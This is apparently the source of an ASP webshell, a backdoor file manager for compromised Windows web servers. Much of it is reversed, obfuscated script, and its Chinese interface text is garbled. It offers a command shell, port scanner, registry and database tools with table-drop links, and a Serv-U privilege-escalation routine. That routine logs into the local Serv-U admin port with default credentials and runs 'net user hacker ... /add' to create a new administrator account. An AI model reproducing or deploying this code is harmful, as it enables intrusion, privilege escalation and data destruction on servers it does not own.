dne~gnihton=3tsopx tes~)sevael(dnes.3tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.3tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = 3tsopx tes~flrcbv & resut & ¨~=resU ¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~RESUETELED-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~esle~)¨~>RB<>rb<): ¨~ & htapt & ¨~ :¾¶Â· ¨~ & ssapt & ¨~ :ÂëÃܨ~ & ¨~ ¨~ & resut & ¨~ :Ãû»§Óà PTF£¡£¡ÐÐÖ´¹¦³ÉÁîÃü>der=roloc tnof<>retnec<¨~( etirw.esnopser~gnihton=tsopx tes~)sevael(dnes.tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = tsopx tes~txen emuser rorre no~flrcbv & ¨~tiuq¨~ & sevael = sevael~flrcbv & ¨~PDCLEMAWR|\¨~ & htapt & ¨~=sseccA ¨~ & flrcbv & ¨~enoN=soitaR-¨~ & flrcbv & ¨~ralugeR=epyTdrowssaP-¨~ & flrcbv & ¨~metsyS=ecnanetniaM-¨~~_ & flrcbv & ¨~0=mumixaMatouQ-¨~ & flrcbv & ¨~0=tnerruCatouQ-¨~ & flrcbv & ¨~0=tiderCsoitaR-¨~ & flrcbv & ¨~1=nwoDoitaR-¨~~_ & flrcbv & ¨~1=pUoitaR-¨~ & flrcbv & ¨~0=eripxE-¨~ & flrcbv & ¨~1-=tuOemiTnoisseS-¨~ & flrcbv & ¨~006=tuOemiTeldI-¨~ & flrcbv & ¨~1-=sresUrNxaM-¨~~_ & flrcbv & ¨~0=nwoDtimiLdeepS-¨~ & flrcbv & ¨~0=pUtimiLdeepS-¨~ & flrcbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & flrcbv & ¨~0=elbanEatouQ-¨~~_ & flrcbv & ¨~0=drowssaPegnahC-¨~ & flrcbv & ¨~0=nigoLwollAsyawlA-¨~ & flrcbv & ¨~0=neddiHediH-¨~ & flrcbv & ¨~0=eruceSdeeN-¨~~_ & flrcbv & ¨~1=shtaPleR-¨~ & flrcbv & ¨~0=elbasiD-¨~ & flrcbv & ¨~=eliFseMnigoL-¨~ & flrcbv & ¨~\¨~ & htapt & ¨~=riDemoH-¨~~_ & flrcbv & ssapt & ¨~=drowssaP-¨~ & flrcbv & resut & ¨~=resU-¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~PUTESRESUTES-¨~ & sevael = sevael~flrcbv & ¨~=yeKOZT ¨~ & flrcbv & ¨~0=elbanEOZT-¨~ & flrcbv & ¨~0|1|1-|¨~ & tropt & ¨~|¨~&pirevres&¨~|79944QQ=niamoD-¨~ & flrcbv & ¨~NIAMODTES-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ = tm~flrcbv & tropt & ¨~=oNtroP ¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~NIAMODeteleD-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~neht ¨~dda¨~ = )¨~nottuboidar¨~(mrof.tseuqer fi~006=tuoemit~)¨~ptsoh¨~(mrof.tseuqer = pitsoh~)¨~tropt¨~(mrof.tseuqer = tropt~)¨~htapt¨~(mrof.tseuqer = htapt~)¨~ssapt¨~(mrof.tseuqer = ssapt~)¨~resut¨~(mrof.tseuqer = resut~)¨~tropd¨~(mrof.tseuqer = trop~)¨~dwpd¨~(mrof.tseuqer = dwp~)¨~resud¨~(mrof.tseuqer = rsu~)¨~pires¨~(mrof.tseuqer = pirevres~¨~>mrof/<>elbat/<>rt/<>dt/<>'½»Ìá'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>DTBT=ssalc dt<¨~srr~¨~>dt/<³ýɾ¶¨È·>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<¨~srr~¨~¼ÓÌí¶¨È·>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>DTBT=ssalc dt<>rt<¨~srr~¨~>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËÎñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>DTBT=ssalc dt<>dt/<:¾¶Â·µÄ¶ÔËùµÄºÅÕÊ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>DTBT=ssalc dt<>dt/<:ÂëÃÜ»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>DTBT=ssalc dt<>dt/<:Ãû»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËU-VRES>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>DTBT=ssalc dt<>dt/<: ÂëÃÜÔ±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>DTBT=ssalc dt<>dt/<:Ô±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'0.0.0.0'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pires'=eman tupni<>DTBT=ssalc dt<>dt/<:PIÆ÷Îñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>RT/<>DT/<>tnof/<¸Ä±»ÂëÃÜu-vreS±í´ú¾Í¹¦³É²»ÔÙ¹ûÈç>rb<¨~&)¨~RDDA_LACOL¨~(selbairaVrevreS.tseuqeR&¨~:PI´Ë³É¸ÄÐ޾͹¦³É²»0.0.0.0¹ûÈç>rb<½ÓÁ¬ÒԿɶ¼PIºÎÈαí´ú0.0.0.0:PIÆ÷Îñ·þ>rb<:Ã÷˵½ÓÁ¬PI>rb<>rb<°æɱͨÐò³ÌȨT U-vreS>'ffffff'=roloc tnof<>daeHBT=ssalc 2=napsloc DT<>RT<>ffffff#=roloCgb 0=redrob 084=htdiw 3=gniddapllec 1=gnicapsllec retnec=ngila ELBAT<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<¨~srr~)(ptfus noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dnE ~gnihtoN=nnoC teS ~esolC.nnoC ~~fI dnE~¨~¨~=WR:WR etirW.esnopseR ~~fI dnE ~rtSlqS&¨~£º¾äÓïLQS¨~ & WR=WR ~)rtSlqS(etucexE.nnoC ~ eslE ~¨~¨~=WR:WR etirW.esnopseR ~ ~gnihtoN=sR teS:esolC.sR ~¨~>elbat/<>rt/<>dt/<>'FEFEFE#'=roloc rh<¨~ & WR=WR ~fI dnE ~¨~>a/<ҳβ>')¨~&NP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ò»ÏÂ>')¨~&1+egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~txeN ~fI dnE ~¨~;psbn&>a/<¨~&i&¨~>')¨~&i&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~eslE ~¨~;psbn&¨~&i & WR=WR ~nehT egaP=i fI ~roF tixE nehT NP>i fI ~8+pS oT pS=i roF ~fi dnE:1=pS:eslE:8-egaP=pS:nehT 8>egaP fI ~¨~;psbn&>a/<Ò³Ò»ÉÏ>')¨~&1-egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ê×>')1,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&;psbn&¨~ & WR=WR ~nehT 1>NP fI ~NP&¨~/¨~&egaP&¨~£ºÂëÒ³;psbn&¨~&CR&¨~£ºÊý¼¼Ç>retnec=ngila ¨~&1+NF&¨~=napsloc dt<>rt<¨~ & WR=WR ~~)rtSlqS(edoCnElmtH=rtSlqS ~ ~¨~¨~=WR:WR etirW.esnopseR ~ ~pooL ~txeNevoM.sR ~¨~>rt/<¨~ & WR=WR ~txeN ~¨~>dt/<¨~&ofnIloC&¨~>¨~&rolocgB&¨~=rolocgb dt<¨~ & WR=WR ~fI dnE ~))05,)i(sR(tfeL(edocnELMTH=ofnIloC ~eslE ~))i(sR(edocnELMTH=ofnIloC ~nehT 1=CR fI ~fi dnE:¨~FEFEFE#¨~=rolocgB:eslE:¨~5F5F5F#¨~=rolocgB:nehT ¨~FEFEFE#¨~=rolocgB fI ~1-NF oT 0=i roF ~ ¨~>dt/<>tnof/'sgnidgniw'=ecaf tnof<>cccccc#=rolocgb dt<>rt<¨~ & WR=WR ~¨~FEFEFE#¨~=rolocgB ~1-tnuoC=tnuoC ~0>tnuoC dnA )foB.sR ro foE.sR(toN elihW oD ~~¨~>rt/<¨~ & WR=WR ~txeN ~gnihton=dlF teS ~¨~>dt/<¨~&emaN.dlF&¨~>'retnec'=ngila dt<¨~ & WR=WR ~)n(metI.sdleiF.sR=dlF teS ~1-NF ot 0=n roF ~ ¨~>dt/<>dt<>cccccc#=rolocgb 52=thgieh rt<>retnec=ngila elbat<¨~ & WR=WR ~egaP=egapetulosba.sR nehT 1>egaP fI ~NP=egaP nehT NP>egaP fI ~1=egaP nehT 0=egaP rO ¨~¨~=egaP fI ~)egaP(gnlC=egaP nehT ¨~¨~>vid/<¨~&rtSlqS&¨~£º¾äÓïÐÐÖ´>'retnec'=ngila vid<¨~ & WR=WR ~neht ¨~tceles¨~=))6,rtSlqS(tfeL(esaCL fI ~~nehT 01>)rtSlqS(neL fI~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<¨~ & WR=WR ~gnihtoN=sR teS ~ pooL ~ txeNevoM.sR ~ fI dnE ~¨~>dt/<>a/<¨~&emaNT&¨~>')1,¨~¨~]¨~&emaNT&¨~[ MORF * TCELES¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>rb<>a/<] led [>')1,¨~¨~]¨~&emaNT&¨~[ ELBAT PORD¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<>retnec=ngila dt<¨~ & WR=WR ~)¨~EMAN_ELBAT¨~(sR=emaNT ~neht ¨~ELBAT¨~=)¨~EPYT_ELBAT¨~(sR fI ~foE.sR toN elihW oD ~ tsriFevoM.sR ~¨~>dt/<Ãû>rb<±í>dt<>'CCCCCC#'=rolocgB '52'=thgieh rt<>'retnec'=ngila elbat<¨~ & WR=WR ~ )02(amehcSnepO.nnoC=sR teS ~rtSbD nepO.nnoC ~))0,5(TbO(tcejbOetaerC=nnoC teS ~ ~nehT 04>)rtSbD(neL fI ~~¨~¨~=WR:WR etirW.esnopseR ~¨~>naps/<>'OSFS'=di naps<>elbat/<>mrof/<>rt/<¨~ & WR=WR ~¨~>dt/<>'timbus'=ssalc ')(kcehCbD nruter'=kcilcno 'ÐÐÖ´'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSlqS&¨~'=eulav '514:htdiw'=elyts 'rtSlqS'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:ÁîÃü×÷²ÙLQS;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>'1'=eulav 'neddih'=epyt 'egaP'=eman tupni<>'reganaMbD'=eulav 'neddih'=epyt 'noitcA'=eman tupni<¨~ & WR=WR ~¨~>rt/<>dt/<>tceles/<>noitpo/<ʾÏÔÈ«Íê>21=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¶Î×Ö³ýɾ>11=eulav noitpo<>noitpo/<¶Î×Ö¼ÓÌí>01=eulav noitpo<>noitpo/<±í¾ÝÊýɾ>9=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<±í¾ÝÊý½¨>8=eulav noitpo<>noitpo/<¾ÝÊý¸ÄÐÞ>7=eulav noitpo<>noitpo/<¾ÝÊý³ýɾ>6=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¾ÝÊý¼ÓÌí>5=eulav noitpo<>noitpo/<¾ÝÊýʾÏÔ>4=eulav noitpo<>noitpo/<--·¨ÓïLQS-->1-=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬NSD>3=eulav noitpo<>noitpo/<½ÓÁ¬lqSyM>2=eulav noitpo<>noitpo/<½ÓÁ¬lqSsM>1=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬sseccA>0=eulav noitpo<>noitpo/<Àýʾ´®½ÓÁ¬>1-=eulav noitpo<>')eulav.]xednIdetceles[snoitpo(rtSbDlluF nruter'=egnahcno 'ntBrtS'=eman tceles<>'FFFFFF#'=rolocgb 'retnec'=ngila '29'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSbD&¨~'=eulav '514:htdiw'=elyts 'rtSbD'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:´®½ÓÁ¬¿â¾ÝÊý;psbn& >'FFFFFF#'=rolocgb '09'=htdiw dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²Ù¿â¾ÝÊý>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'tsop'=dohtem 'mroFbD'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~rtSbD¨~(mroF.tseuqeR=rtSbD ~))¨~rtSlqS¨~(mroF.tseuqeR(mirT=rtSlqS ~)(reganaMbD noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne ~gnihtoN=osf teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~gnihtoN=sda teS ~esolc.nnoc ~esolc.sr ~1+)¨~eman¨~(noisses=)¨~eman¨~(noisses ~)¨~>tpircs/<;)'¨~&)))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR&¨~ÊÇÖ·µØn\!·ÅÊÍ¿â¾ÝÊý¨~&))¨~seliF¨~(mrof.tseuqer(htaPeR&¨~½«¹¦³É¾­ÒÑn\:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~pool ~txenevom.sr ~hsulF.esnopseR ~¨~>rb<¨~ & elif & ¨~ > ¿â³ö;psbn&>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~fi dne ~esolc.sda ~2,elif eliFoTevaS.sda ~)¨~ydob¨~(sr etirw.sda ~1=epyT.sda ~nepO.sda ~neht )¨~¨~><)¨~elif¨~(sr( dna ))elif(stsixEeliF.osf ton( fi ~)redlof(redloFetaerC.osf neht )redlof(stsixEredloF.osf ton fi ~redlof=htap ~)¨~elif¨~(sr & ¨~\¨~ & redlof=elif ~)¨~redlof¨~(sr & ))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM=redlof ~)fob.sr ro foe.sr(ton elihw od ~))0,0(TbO(tcejbOetaerC.revreS=osf teS ~))0,6(TbO(tcejbOetaerC.revreS=sda teS ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~seliF¨~(mrof.tseuqer&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~ nepo.nnoc ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~neht ¨~2V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~fi dne ~)¨~>tpircs/<;)'¨~&)))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres(htaPeR & ¨~ÊÇÖ·µØn\!¿âÈë¨~ & )))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR & ¨~½«¹¦³É¾­ÒÑ<:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~gnihtoN=osf teS ~gnihtoN=sda teS ~gnihtoN=dlof teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~esolc.nnoc ~esolc.sr ~)1+)¨~\¨~,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(veRrtsnI,)1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(FS llaC ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~gnihtoN=aC teS ~¨~)egami ydob,RAHCRAV elif,RAHCRAV redlof,DERETSULC YEK YRAMIRP )1,1(YTITNEDI tni di(zw ELBAT ETAERC¨~etucexE.nnoc ~bd nepo.nnoc ~bd etaerC.aC ~))0,2(TbO(tcejbOetaerC.revreS=aC teS ~ ))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~=bd ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirw.esnopser ~))0,6(TbO(tcejbOetaerC.revreS=sda tes ~ ))0,0(TbO(tcejbOetaerC=osf tes ~neht ¨~1V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'bdt.bdMoT\¨~&)tooRWWW(htaPeRR&¨~'=eulav '514:htdiw'=elyts 'seliF'=eman 'txet'=epyt tupni<:¾¶Â·;psbn&>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~ ¨~>dt/<¿â³ö>'2V'=eulav '1R'=eman 'oidar'=epyt tupni< ¿âÈë>'1R'=eman dekcehc '1V'=eulav 'oidar'=epyt tupni<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'TSOP'=dohtem mrof<>dt/<>rt/<¿â³ö/¿âÈë°ü´ò>'unem'=rolocgb 'retnec'=ngila '2'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~0=seripxE.esnopseR ~)(bdMoT noitcnuF" ExeCuTe(UZSS(Hacker)) Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write " Èë¿â > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "suftp":suftp() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "php":php() Case "MMD":MMD() Case "getTerminalInfo":getTerminalInfo() Case "adminab":adminab() Case "proxy":proxy() Case "goback":goback() Case "showE":showE() Case "lpdel":lpdel() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "sql":sql() Case "PageAddToMdb":PageAddToMdb() Case "asplist"asplist() Case "ScanDriveForm":ScanDriveForm() Case "ScanDrive": ScanDrive Request("Drive")() Case "ScFolder": ScFolder Request("Folder")() Case "ScanPort":ScanPort() Case "downloads":downloads() Case "Servu" Hacker="fi dne ~¨~>retnec/<>mrof/<>elbat/<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'1'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'ÖÃÖØ'=eulav '2timbuS'=eman 'teser'=epyt tupni<¨~ SRR ~¨~>'½»Ìá'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ SRR ~¨~>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'07'=ezis 'dda/ rekcah srotartsinimda puorglacol ten & dda/ rekcah rekcah resu ten c/ dmc'=eulav 'c'=di 'xet'=epyt 'c'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁîÃüÐÐÖ´;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '¨~&f&¨~'=eulav 'f'=di 'txet'=epyt 'f'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¾¶Â·Í³Ïµ;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '85934'=eulav 'trop'=di 'txet'=epyt 'trop'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¿Ú¶ËÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'P@0;kl.#ka$@l#'=eulav 'p'=di 'txet'=epyt 'p'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁî¿ÚÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'rotartsinimdAlacoL'=eulav 'u'=di 'txet'=epyt 'u'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º»§ÓÃÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<>dt/<¼þÎÄMOCÓëSBVÕß»ò exe.ÂíľµÄ´«ÉÏÄã\:d c/ dmc:ÈçÀý,¸ÄÐÞÒâÈÎÒÔ¿ÉÁîÃü>rb<´Î¼¸½»Ìá¶à¾Í¹¦³É²»È¨Ìá¹ûÈç:ʾÌá¨~ SRR ~¨~>rb<>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<¨~ SRR ~¨~>dt/<ÏÞȨÉýÌá uvreS>'2'=napsloc dt<¨~ SRR ~¨~>rB<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ SRR ~¨~>'uvreS=noitcA?'=noitca 'nusdlog'=eman 'tsop'=dohtem mrof<>retnec<¨~ SRR ~gnihtoN = c teS ~troba.c ~gnihtoN = b teS ~troba.b ~gnihtoN = a teS ~troba.a ~)¨~c¨~(noisses=c tes ~)¨~b¨~(noisses=b tes ~)¨~a¨~(noisses=a tes ~txen emuser rorre no ~esle ~¨~>retnec/<¨~ SRR ~¨~>'uvreS=noitcA?'=ferh.noitacol=kcilCno ' Ðø¼Ì»Ø·µ '=eulav 'nottub'=epyt tupni<¨~ SRR ~¨~>rb<>rb<>tnof/<¨~&dmc&¨~>der=roloc tnof<>rb<£ºÁîÃüÁËÐÐÖ´ÒÑ,±ÏÍêȨÌá>retnec<>rb<¨~ SRR ~c=)¨~c¨~(noisses tes ~tiuq & niamodled & tm & ssapnigol & resunigol dnes.c ~¨~¨~ ,¨~¨~ ,eurT ,¨~3s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.c ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=c tes ~neht 3 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,';)(timbus.nusdlog.lla.tnemucod'(tuoemiTtes¨~ SRR ~¨~;)'>retnec<...´ýµÈÇë,ÏÞȨÉýÌáÔÚÕý>retnec<>rb<'(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'3'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~b=)¨~b¨~(noisses tes ~tiuq & fLrCbv & dmc & ¨~ cexe etis¨~ & fLrCbv & ¨~do ssap¨~ & fLrCbv & ¨~og resU¨~ dnes.b ~¨~¨~ ,¨~¨~ ,eurT ,¨~2s/nimdapu/4112903/¨~ & tropptf & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.b ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=b tes ~neht 2 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,¨~¨~;)(timbus.nusdlog.lla.tnemucod¨~¨~(tuoemiTtes¨~ SRR ~¨~;)¨~¨~>retnec<...¨~&ssap&¨~£ºÁî¿Ú,¨~&resu&¨~ :Ãû»§ÓÃÓÃʹ,¨~&trop&¨~:1.0.0.721 ½ÓÁ¬ÔÚÕý>retnec<>rb<¨~¨~(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal 